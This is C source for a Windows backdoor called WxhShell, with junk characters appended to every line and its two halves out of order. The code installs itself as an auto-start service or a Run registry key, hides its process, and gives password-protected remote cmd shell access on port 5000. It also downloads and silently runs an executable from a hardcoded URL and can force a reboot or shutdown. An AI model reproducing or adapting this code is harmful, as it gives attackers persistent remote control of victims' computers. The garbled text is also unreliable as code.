    if(Boot(SHUTDOWN)) ?${V{=)*X'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |iAEDZn  
    else { J/L)3y   
    closesocket(wsh); n}42'9p  
    ExitThread(0); 6(,ItMbI  
    } zv`zsqDJ  
    break; Z0{f  
    } x Ridc^  
  // 获取shell ?{?Vy9'B  
  case 's': { 9x4wk*z  
    CmdShell(wsh); j`{fB}  
    closesocket(wsh); >}70]dN7b  
    ExitThread(0); 33O)k*g  
    break; =z+-l5Gu"  
  } /j$$0F>s7  
  // 退出 Zp^)_ 0  
  case 'x': { mf+K{y,L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tP&{ J^G  
    CloseIt(wsh); md.*  
    break; RA! x  
    } "$# $f  
  // 离开 Ml'bZLwq  
  case 'q': { ?Ozk^#H[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $_ST:h&C  
    closesocket(wsh); [^h/(a`  
    WSACleanup(); @ysJt  
    exit(1); D7 %^Ly  
    break; 2=i+L z^  
        } J11dqj  
  } { +i;e]c  
  } ~3LhcU-  
Sr4dY`V*:z  
  // 提示信息 'SsPx&)l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]|H]9mys98  
} u]ZqF *  
  } ;4+qPWwq8W  
E|KLK4 ]  
  return; 1"mnzbf8*  
} 95_[r$C  
iuvtj]/  
// shell模块句柄 ,ivWVsN*]  
int CmdShell(SOCKET sock) 8Sd?b5|G~  
{ f(EYx)gZ  
STARTUPINFO si; .Y=Z!Q  
ZeroMemory(&si,sizeof(si)); l:>qR/|m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dx9$H++6$X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'p4da2%  
PROCESS_INFORMATION ProcessInfo;  r*~n`  
char cmdline[]="cmd"; `kaR@t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k1~nd=p  
  return 0; <z~2d  
} NgDZ4&L  
j TB<E=WC  
// 自身启动模式 e<: 4czh8  
int StartFromService(void) ,"v)vTt  
{ 9-X{x95]  
typedef struct 6KBzlj0T+  
{  0jip::x  
  DWORD ExitStatus; &r 5&6p  
  DWORD PebBaseAddress; %_%f# S  
  DWORD AffinityMask; qr<-eJf  
  DWORD BasePriority; Ppi-skT  
  ULONG UniqueProcessId; Y;~~?[6  
  ULONG InheritedFromUniqueProcessId; b7>,-O  
}   PROCESS_BASIC_INFORMATION; {GG~E54&B  
,YAPCj  
PROCNTQSIP NtQueryInformationProcess; E)rOlh7  
#NVF\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 76u/WC>B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8VAYIxRv  
=0!\F~  
  HANDLE             hProcess; Jm*M7g j  
  PROCESS_BASIC_INFORMATION pbi; b}}1TnS)  
!?us[f=g%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5* o\z&*L  
  if(NULL == hInst ) return 0; ]Lb?#S  
$jUS[.S_|I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K@$L~G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ok~W@sYST  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !txELA~24  
BC$;b>IUA  
  if (!NtQueryInformationProcess) return 0; a2 klOX{  
XYxm8ee"j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #$vhC u<I  
  if(!hProcess) return 0; r%m7YwXo  
fEv<W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bN7UO  
skC|io-Zv  
  CloseHandle(hProcess); DESViQM  
:+%h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !=h|&Vta  
if(hProcess==NULL) return 0; _WjETyh [H  
w?$u!X  
HMODULE hMod; ek;&<Z_ ]  
char procName[255]; >kDdWgRQ  
unsigned long cbNeeded; *|,ykb>  
x[O#(^q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Q+:N;  
<@AsCiQF  
  CloseHandle(hProcess); e ka@?`  
1N$gE  
if(strstr(procName,"services")) return 1; // 以服务启动 F#}1{$)% /  
j~L1~@  
  return 0; // 注册表启动 Wru  Fp  
} c] >&6-;rf  
iP? ASqo{  
// 主模块 moJT8tb  
int StartWxhshell(LPSTR lpCmdLine) c%LB|(@j{  
{ :rs\ydDUF  
  SOCKET wsl; J"2ODB5"  
BOOL val=TRUE; 7U[L\1zS  
  int port=0; {EoyMJgz  
  struct sockaddr_in door; rX>y>{w~  
|gRgQGeB  
  if(wscfg.ws_autoins) Install(); @<TfA>*VJ  
Y7t{4P  
port=atoi(lpCmdLine); ME10dr  
G>ptwB81KM  
if(port<=0) port=wscfg.ws_port; ~h^}W$pO  
|Q)w3\S$  
  WSADATA data; k-ex<el)#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &<P^Tvqq&  
GWqY$YT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (jE:Q2"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oc/_ T>  
  door.sin_family = AF_INET; Mm7n?kb6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d,rEEc Y  
  door.sin_port = htons(port); |o=\9:wV  
WKIiJ{@L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6u, 0y$3  
closesocket(wsl); TX [%s@C  
return 1; 7(g&z%  
} ]vkHU6d  
+j: Ld(  
  if(listen(wsl,2) == INVALID_SOCKET) { w$;*~Qc  
closesocket(wsl); S}[:;p?F`  
return 1; L%O8vn^3  
} AW&s-b%P  
  Wxhshell(wsl); JX0_UU  
  WSACleanup(); OZ14-}Lr5  
>\.[}th}  
return 0; Nl<,rD+KSD  
/ >. X+N  
} sAN:C{  
ftU5 A@(T  
// 以NT服务方式启动 jzA8f+:q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @bCiaBdi  
{ EbYH?hPo  
DWORD   status = 0; g7LW?Ewr  
  DWORD   specificError = 0xfffffff; bl>b/u7/6  
HWfX>Vf>}k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N5Mz=UgB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [gdPHXs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 10 H!  
  serviceStatus.dwWin32ExitCode     = 0; !K~$ -jlT  
  serviceStatus.dwServiceSpecificExitCode = 0; ~d `4W<1a  
  serviceStatus.dwCheckPoint       = 0; N&h!14]{ Z  
  serviceStatus.dwWaitHint       = 0; :@Dos'0Px  
h}&IlDG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {bW3%iU  
  if (hServiceStatusHandle==0) return; j"u)/A8*  
[]3}(8yxGb  
status = GetLastError(); +* {5ORq=  
  if (status!=NO_ERROR) vGHYB1=~  
{ AX RNV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5 t?2B]  
    serviceStatus.dwCheckPoint       = 0; j4r,_lH^r  
    serviceStatus.dwWaitHint       = 0; l'%R^  
    serviceStatus.dwWin32ExitCode     = status; xi. KD  
    serviceStatus.dwServiceSpecificExitCode = specificError; AHD%6 \$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [gp:nxyfQm  
    return; y+afUJT  
  } &*GX:0=/>  
1+}Ud.v3VW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +##I4vP  
  serviceStatus.dwCheckPoint       = 0; R0<Vd"  
  serviceStatus.dwWaitHint       = 0; %<|KJb4?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :Rj,'uH+h)  
} Z?' |9FM  
 PuCA @qY  
// 处理NT服务事件,比如:启动、停止 Ka\b_P&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XqH<)B ]  
{ \%Q rN+WQ  
switch(fdwControl) 8mLU ~P |  
{ dKpa5f7  
case SERVICE_CONTROL_STOP: -JK4-Hg  
  serviceStatus.dwWin32ExitCode = 0; ta., 4R&K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1tz .e\  
  serviceStatus.dwCheckPoint   = 0; R_n-&d 'PP  
  serviceStatus.dwWaitHint     = 0; MXV4bgltT  
  { &ru0i@?)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5vI0 N$  
  } K({,]<l5  
  return; 7"i*J6y*  
case SERVICE_CONTROL_PAUSE: 4:g:$s|SE[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Asu"#sd  
  break; p,Hk"DSs%  
case SERVICE_CONTROL_CONTINUE: Mu%,@?zM^/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L(8dK  
  break; TJ:Lz]l >  
case SERVICE_CONTROL_INTERROGATE: t&]Mt 7  
  break; k"{U}Y/}  
}; TL gVuY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ RBwT  
} c%.& F  
Mwc3@  
// 标准应用程序主函数 ^T,cXpx|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V1A3l{>L  
{ = g}yA=.  
),,vu  
// 获取操作系统版本 K_n%`5  
OsIsNt=GetOsVer(); cyNLeg+O*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C ,hsr  
3: Uik  
  // 从命令行安装 _s8_i6 Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); T<)z2Bi  
#mYxO  
  // 下载执行文件 \/v$$1p2  
if(wscfg.ws_downexe) { P7-3Vf_L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g"Bv!9*H  
  WinExec(wscfg.ws_filenam,SW_HIDE); : 6V 8  
} sXu+F2O  
J]B5w{??b  
if(!OsIsNt) { nT"z(\i.!J  
// 如果时win9x,隐藏进程并且设置为注册表启动 <b I,y_<K  
HideProc(); p;Kr664  
StartWxhshell(lpCmdLine); )K~nZLULY  
} ,-)1)R\.  
else G2D<LRWt4  
  if(StartFromService()) MzD0F#Y  
  // 以服务方式启动 @4$E.q<0  
  StartServiceCtrlDispatcher(DispatchTable); {wI0 =U  
else t/|^Nt@XT  
  // 普通方式启动 UhK,H   
  StartWxhshell(lpCmdLine); :xCobMs_/  
NO ^(D+9  
return 0; ^ a:F*<D  
} T*m21<  
X;h~s:LM  
) |vFrR  
pG&.Ye]j  
=========================================== |:z%7J3wP  
vaL-Mi(_  
odDt.gQXU  
iQF93:#  
nj mE>2  
D$HxPfDZ  
" r DuG["  
.+yJ'*i$d  
#include <stdio.h> -|mABHjx*  
#include <string.h> q9Q4F  
#include <windows.h> /l L*U  
#include <winsock2.h> xpz Jt2S  
#include <winsvc.h> Lst5  
#include <urlmon.h> RMXP)[  
dImm},  
#pragma comment (lib, "Ws2_32.lib") iYnt:C  
#pragma comment (lib, "urlmon.lib") JS9q'd  
',f[y:v;  
#define MAX_USER   100 // 最大客户端连接数 i&Ea@b  
#define BUF_SOCK   200 // sock buffer h(BN6ZrzKd  
#define KEY_BUFF   255 // 输入 buffer zx27aZ[  
`|R{^Sk1o  
#define REBOOT     0   // 重启 "TPMSx&Ei  
#define SHUTDOWN   1   // 关机 Z_%>yqDC  
OR3TRa XD  
#define DEF_PORT   5000 // 监听端口 *h Ur E  
a^BD55d?  
#define REG_LEN     16   // 注册表键长度 $\H>dm  
#define SVC_LEN     80   // NT服务名长度 Ap/WgVw;  
#ed]zI9O  
// 从dll定义API [eImP V]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XZhhr1-<a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "'%x|nB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NJ.kT uk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 79\ =)m}$Q  
nN[,$`JD,  
// wxhshell配置信息 &3rh{"^9  
struct WSCFG { a.P^+h  
  int ws_port;         // 监听端口 4_$f "6  
  char ws_passstr[REG_LEN]; // 口令 F)C8LH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ipsNiFv:  
  char ws_regname[REG_LEN]; // 注册表键名 {z w#My   
  char ws_svcname[REG_LEN]; // 服务名 4R6X"T9-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \-^3Pe,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `+U-oqs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TWy1)30x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |nD`0Rbw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xaPTTa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H]cCyuCdH  
>6Q-e$GS@  
}; k vb"n}  
hSxf;>(d  
// default Wxhshell configuration !$j'F?2 >  
struct WSCFG wscfg={DEF_PORT, ~`y6YIJ3  
    "xuhuanlingzhe", s;>jy/o0 s  
    1, )9}z^+TH  
    "Wxhshell", EM"YjC)F  
    "Wxhshell", *h`zV<j  
            "WxhShell Service", L;Nm"[ `  
    "Wrsky Windows CmdShell Service", 8E D6C"6  
    "Please Input Your Password: ", <|v]9`'  
  1, 'Ic$p>  
  "http://www.wrsky.com/wxhshell.exe", %.]qkGZe#  
  "Wxhshell.exe" GZse8ng  
    }; ALhu\x>AY  
7uYJ _R  
// 消息定义模块 ZZ.GpB.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }_K7}] 1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zT.qNtU%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RK|C*TCnl  
char *msg_ws_ext="\n\rExit."; k5((@[  
char *msg_ws_end="\n\rQuit."; @X|CubJ  
char *msg_ws_boot="\n\rReboot..."; NI3_wV  
char *msg_ws_poff="\n\rShutdown..."; (R{W Jjj  
char *msg_ws_down="\n\rSave to "; b*7OIN5h  
Ok9XC <Xu  
char *msg_ws_err="\n\rErr!"; `C,479~J  
char *msg_ws_ok="\n\rOK!"; NT:p6(s^  
23zB@aE_?1  
char ExeFile[MAX_PATH]; oTZNW  
int nUser = 0; c'[l%4U8[  
HANDLE handles[MAX_USER]; I U/gYFT  
int OsIsNt; h60*=+vdJ  
WJ8i,7  
SERVICE_STATUS       serviceStatus; LXr nAt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7&E3d P  
L9"V$MO  
// 函数声明 OT+LQ TE  
int Install(void); Dr&2q X!  
int Uninstall(void); tAefBFu  
int DownloadFile(char *sURL, SOCKET wsh); 8ex{N3  
int Boot(int flag); Tm qtj  
void HideProc(void); iCnKQG  
int GetOsVer(void); 4Z,MqG>  
int Wxhshell(SOCKET wsl); fQM:NI? 9?  
void TalkWithClient(void *cs); ,F]Y,"x:  
int CmdShell(SOCKET sock); ckS.j)@.c  
int StartFromService(void); h,45-#+  
int StartWxhshell(LPSTR lpCmdLine); hIE$ut +  
:>]= YE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,dP-sD;<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xx_]e4  
Hz `aj  
// 数据结构和表定义 nD6NLV%2x  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Gd.B/L6  
{ :2vk vLM  
{wscfg.ws_svcname, NTServiceMain}, )l~:P uvh  
{NULL, NULL} N*y09?/h  
}; k?ZtRhPu3X  
]yy10Pk[!  
// 自我安装 {1Z8cV   
int Install(void) $hXhq*5|c  
{ {26/SY  
  char svExeFile[MAX_PATH]; n=qN@u;Fi#  
  HKEY key; kaq H.e(  
  strcpy(svExeFile,ExeFile); ihS;q6ln  
yY+)IU.  
// 如果是win9x系统,修改注册表设为自启动 ?RNm8,M  
if(!OsIsNt) { ~PAF2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L|A}A[P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2iO AUo+  
  RegCloseKey(key); Q]?r&%Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o`,|{K$H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O eLM*Zi  
  RegCloseKey(key); bis}zv^%v  
  return 0; 845a%A$  
    } M$iDaEu-  
  } Y>W$n9d&G2  
} :Yeo*v9  
else { FOz~iS\  
)lh48Ag0t;  
// 如果是NT以上系统,安装为系统服务 rKxIOJ,T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b|jdYJbol&  
if (schSCManager!=0) t+y$i@R:  
{ HmlE Cx  
  SC_HANDLE schService = CreateService !D#wSeJ  
  ( {EU?{ #  
  schSCManager, a_}k^zw(  
  wscfg.ws_svcname, "u^%~2  
  wscfg.ws_svcdisp, /q[5-96c  
  SERVICE_ALL_ACCESS, c$fi3O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3>vSKh1z  
  SERVICE_AUTO_START, ]$Ud`<Xnx  
  SERVICE_ERROR_NORMAL, vfBIQfH  
  svExeFile, GY% ^!r  
  NULL, f 0"N  
  NULL, ^hL?.xj  
  NULL, $r>$ u  
  NULL, pAK7V;sJ  
  NULL ,zXP,(x  
  ); B:5NIa  
  if (schService!=0) CcDmZ  
  { d}B_ wz'  
  CloseServiceHandle(schService); iB-h3/  
  CloseServiceHandle(schSCManager); 1=o|[7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @9$u!ny0  
  strcat(svExeFile,wscfg.ws_svcname); Ei$?]~ &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CB!5>k+mC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KkD.n#A  
  RegCloseKey(key);  x&^>|'H  
  return 0; [v0[,K  
    } vH[G#A~4  
  } :2v^pg|  
  CloseServiceHandle(schSCManager); yZHh@W4v  
} ^jph"a C  
} X6h@K</c^:  
(v/mKGyg  
return 1; -9D2aY_>  
} _R/^P>Q?  
T{A 5,85  
// 自我卸载 |M;tAG$,"y  
int Uninstall(void) bh Nqj  
{ s8O.yL  
  HKEY key; W~W `fm  
DA9-F  
if(!OsIsNt) { [<0\v<{`L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { II,snRD  
  RegDeleteValue(key,wscfg.ws_regname); N'5AU (  
  RegCloseKey(key); 6Wn"h|S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .,vF% pQ  
  RegDeleteValue(key,wscfg.ws_regname); ,)svSzR  
  RegCloseKey(key); jsp)e=  
  return 0; {p90   
  } LK>J]p  
} \h{M\bSIEa  
} U=Hx&g  
else { FS+v YqwK  
SWq5=h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7^hwRZJ{  
if (schSCManager!=0) L/+KY_b:*  
{ R3dt-v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =Rw-@ *#l  
  if (schService!=0) N!=$6`d  
  { E0lro+'lS  
  if(DeleteService(schService)!=0) { qX_( M2oLU  
  CloseServiceHandle(schService); >Nho`m(  
  CloseServiceHandle(schSCManager); _=g;K+%fb  
  return 0; GEd JB=  
  } 2 D vKW%;  
  CloseServiceHandle(schService); HLruZyN4  
  } ^_0l(ke  
  CloseServiceHandle(schSCManager); CS\ E]f  
} ^1}Y=! &  
} BIK^<_?+ZU  
]+)cXJ}6#  
return 1; ? CabVj-r  
} wJ}9(>id*  
7%7 \2!0J}  
// 从指定url下载文件 97L|IZ s)  
int DownloadFile(char *sURL, SOCKET wsh) m1\+~*i  
{ jWE?$r"  
  HRESULT hr; ]A#K;AW{U  
char seps[]= "/"; +`p@md2L1  
char *token; N5%Cwl6i  
char *file; ^ALR.N+<  
char myURL[MAX_PATH]; M~SbIk<#a<  
char myFILE[MAX_PATH]; pIbm)-  
v "Yo  
strcpy(myURL,sURL); 0D Q\akh  
  token=strtok(myURL,seps); w1q`  
  while(token!=NULL) c 0/vB  
  { 4],*y`& g  
    file=token; MzP q(`W  
  token=strtok(NULL,seps); KhFw%Z0s<  
  } QGkMT +A  
(7k}ysc  
GetCurrentDirectory(MAX_PATH,myFILE); n72+X  
strcat(myFILE, "\\"); ,+mH1#-3  
strcat(myFILE, file); +C8yzMN\  
  send(wsh,myFILE,strlen(myFILE),0); y<0RgG1qp  
send(wsh,"...",3,0); tUXly|k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BnwYyh  
  if(hr==S_OK) lBN1OL[N  
return 0; M&q3xo"w  
else Rg,]d u u?  
return 1; y2=`NG=  
\]7i-[  
} M0$wTmXM  
 A&8{0  
// 系统电源模块 Pr_$%x9D  
int Boot(int flag) +"8-)'  
{ 2]i>kV/,0  
  HANDLE hToken; a*GiLq  
  TOKEN_PRIVILEGES tkp; Kx<T;iJ}  
D$&LCW#x  
  if(OsIsNt) { QH]G>+LI5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^W)h=49PN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6%Ws>H4@|  
    tkp.PrivilegeCount = 1; A."]6R<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I4RUXi 5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Y6W)$ Q  
if(flag==REBOOT) { {S*:pG:+q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G0^,@jF?b  
  return 0; +@5@`"Jry  
} ^.:dT?@R  
else { G1z0q3< B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [e.@Yx_}  
  return 0; 5<=ktA48[  
} TLWU7aj&!  
  } J~=tR1 k  
  else { AhauNS^"{R  
if(flag==REBOOT) { _ giZ'&l!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jYJRG<*e  
  return 0; *s[bq;$  
} \-eDNwJ:#@  
else { -Nu Rf#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H7&bUt/  
  return 0; UX!)\5-  
} (w/)u  
} 9 %MHIY5  
azT@S=,  
return 1; iF!r}fUU6  
} Z.x9SEe1t  
XaH%i~}3  
// win9x进程隐藏模块 q(iM=IeiN  
void HideProc(void) }p$@.+  
{ =(%+S<}  
P S [ifC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eT<T[; m  
  if ( hKernel != NULL ) lemE/(`a_  
  { w>6~ zAh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8<X,6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cq-UVk"Gl  
    FreeLibrary(hKernel); JS{trqc1d  
  } 10`]&v]T  
%g+*.8;"b  
return; J3P )oM[  
} v$_YZm{!<  
pipO ,n  
// 获取操作系统版本 fBZAO  
int GetOsVer(void) E%tGwbi7  
{ ER4j=O#  
  OSVERSIONINFO winfo; ,4`=gKn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {T2=bK~  
  GetVersionEx(&winfo); OqNtTk+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |y}iOI  
  return 1; g[ dI%  
  else <f+ 9wuZ  
  return 0; !caY  
} y^xEZD1X6-  
{=)g?!zC  
// 客户端句柄模块 5q Y+^jO]o  
int Wxhshell(SOCKET wsl) } 63Qh}_Y  
{ $T%~t@Cv1  
  SOCKET wsh; ^w1&A 3=6  
  struct sockaddr_in client; l*(Ml= O{  
  DWORD myID; `N.^+Mvx-  
8kA2.pIk  
  while(nUser<MAX_USER) 7%g8&d  
{ 2$OI(7b=  
  int nSize=sizeof(client); _t'S<jTI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |MEu"pY)  
  if(wsh==INVALID_SOCKET) return 1; E!_mXjlPc  
'L1=:g.\i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vC1D}=Fp  
if(handles[nUser]==0) +^0Q~>=VD  
  closesocket(wsh); aUVJ\ ;V  
else :1/K$A)^{  
  nUser++; ecg>_%.>  
  } sCi"qtHP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nu]& ?  
VGDds  
  return 0; _${//`ia=  
} m.|__L  
Cvk n2T  
// 关闭 socket U|2*.''+Q  
void CloseIt(SOCKET wsh) czH`a=mjH  
{ Za4X ;  
closesocket(wsh); o fw0_)!Q  
nUser--; +dB/SC-^U  
ExitThread(0); q[rBu9  
} HXY,e$c#y  
^qgOgu  
// 客户端请求句柄 )08mG_&atL  
void TalkWithClient(void *cs) pD )$O}  
{ Z6Kw'3  
<R%]9#re  
  SOCKET wsh=(SOCKET)cs; Gs7#W:e7  
  char pwd[SVC_LEN]; wy)I6`v  
  char cmd[KEY_BUFF]; Ait3KIJ9  
char chr[1]; cI g|sn  
int i,j; ]EhU8bZ  
H7=[sL^  
  while (nUser < MAX_USER) { qDzd_E@aR  
3$E\B=7/U  
if(wscfg.ws_passstr) { M1sR+e$"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f-M9OI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R,'` A.Kk  
  //ZeroMemory(pwd,KEY_BUFF); c(tX761qz  
      i=0; hrt ]Qn&  
  while(i<SVC_LEN) { .JG>/+  
Z\@m_ /g  
  // 设置超时 -55Pvg0ND  
  fd_set FdRead; <+%#xi/_  
  struct timeval TimeOut; ! 4ZszQg  
  FD_ZERO(&FdRead); ^/k`URQ  
  FD_SET(wsh,&FdRead); Le*sLuxk<  
  TimeOut.tv_sec=8; Oy,`tG0  
  TimeOut.tv_usec=0; Sjogv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8D[,z 7n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5NT?A,r"  
T{VdlgL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ND3(oes+;K  
  pwd=chr[0]; GG KD8'j]  
  if(chr[0]==0xd || chr[0]==0xa) { D02_ Jrg  
  pwd=0; Gxj3/&]^Y  
  break; ?uq7K"B  
  } B< `'h  
  i++; aeP 6JHj  
    } h)vRvfcmY  
D8b~-#  
  // 如果是非法用户,关闭 socket 4IW7^Pq`P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Y AxL J  
} 3O W) %  
w=r3QKm#K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RH+'"f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ylEQeN  
;T6x$e  
while(1) { C9`J6Uu  
e>:bV7h j~  
  ZeroMemory(cmd,KEY_BUFF); $h({x~Oj9  
bg8<}~zg  
      // 自动支持客户端 telnet标准   G O=&  
  j=0; Pd,+= ML  
  while(j<KEY_BUFF) { D`t }V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Nky?*  
  cmd[j]=chr[0]; T2nbU6H  
  if(chr[0]==0xa || chr[0]==0xd) { j70]2NgX  
  cmd[j]=0; s?.A $^t  
  break; m}x&]">9  
  } 1>doa1  
  j++; _>G=v!  
    } V ifQ@  
BZXP%{njS  
  // 下载文件 =s2dD3Fr|  
  if(strstr(cmd,"http://")) { ed,w-;(n~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rb/m;8v>  
  if(DownloadFile(cmd,wsh)) k{fCU%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pgy&/-u  
  else N@M(Iw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d2Z kchf  
  } AC=/BU3<yc  
  else { He)<S?X-6  
Ek [V A\G  
    switch(cmd[0]) { `ym@ U(;N  
